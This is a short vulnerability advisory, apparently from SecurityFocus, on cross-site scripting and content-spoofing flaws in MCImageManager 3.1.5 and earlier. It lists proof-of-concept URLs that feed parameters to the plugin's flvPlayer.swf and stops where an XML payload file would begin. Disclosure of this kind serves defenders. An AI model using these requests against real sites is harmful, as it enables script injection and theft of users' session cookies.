source: https://www.securityfocus.com/bid/61825/info MCImageManager is prone to multiple security vulnerabilities. An attacker may exploit these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, manipulate the page and spoof content to misguide users and to disclose or modify sensitive information. Other attacks may also be possible. MCImageManager 3.1.5 and prior versions are vulnerable. http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?flvToPlay=1.flv http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?autoStart=false&startImage=1.jpg http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?flvToPlay=1.flv&autoStart=false&startImage=1.jpg http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?flvToPlay=1.xml File 1.xml: